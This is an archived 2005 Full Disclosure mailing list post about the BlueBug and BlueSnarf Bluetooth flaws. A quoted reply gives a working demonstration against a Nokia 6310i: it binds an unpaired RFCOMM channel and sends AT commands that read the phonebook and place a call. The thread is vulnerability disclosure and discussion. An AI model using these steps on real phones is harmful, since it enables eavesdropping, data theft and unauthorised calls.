Full Disclosure mailing list archives
Re: Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore
From: Dave Bryan <synackurg () gmail com>
Date: Wed, 5 Jan 2005 17:16:23 -0600
The reason that it is called BlueBug is because you are literally bugging (Voice Calls) an unsuspecting victims pocket. Yes this is a back door of sorts... On Tue, 04 Jan 2005 14:46:19 +0100, Przemyslaw Frasunek <venglin () freebsd lublin pl> wrote:
Adam Laurie napisaĆ(a): > Details of the attacks were disclosed at the Chaos Computer Club's annual > congress in Berlin - 21C3: According to the [1], not all details were disclosed. Actually, there is no reason for keeping them secret here, while they are well known and actively exploited in the blackhat community. The Bluebug, as described on [1] is trivially exploitable on some non-Symbian Nokia phones. It allows attacker to create serial profile connection without pairing or asking for permission, therefore it gives unauthorized access to all AT commands. It is possible to read/delete/send SMS messages, add/view/delete phonebook entries, change call diverts, initiate voice or data call. Demonstration on Nokia 6310i: laptop:~# hcitool scan Scanning ... 00:60:57:38:8C:D8 Nokia 6310i laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17 Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for example: laptop:~# cu -l rfcomm0 -s 9600 Connected. [ATE1] OK ATI Nokia OK AT+CPBS? +CPBS: "SM",0,100 OK AT+CPBR=? +CPBR: (1-100),48,18 OK ATDT+48609xxxxxx OK As you can see, the bug is really trivial and looks rather like backdoor. [1] - http://www.thebunker.net/security/bluetooth.htm [2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx [3] - http://www.gnokii.org/ -- * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE * * JID: venglin () jabber atman pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV * _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Bluetooth: BlueSnarf and BlueBug Full Disclusore Adam Laurie (Jan 02)
- Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore Przemyslaw Frasunek (Jan 04)
- Re: Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore Dave Bryan (Jan 06)
- Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore Przemyslaw Frasunek (Jan 04)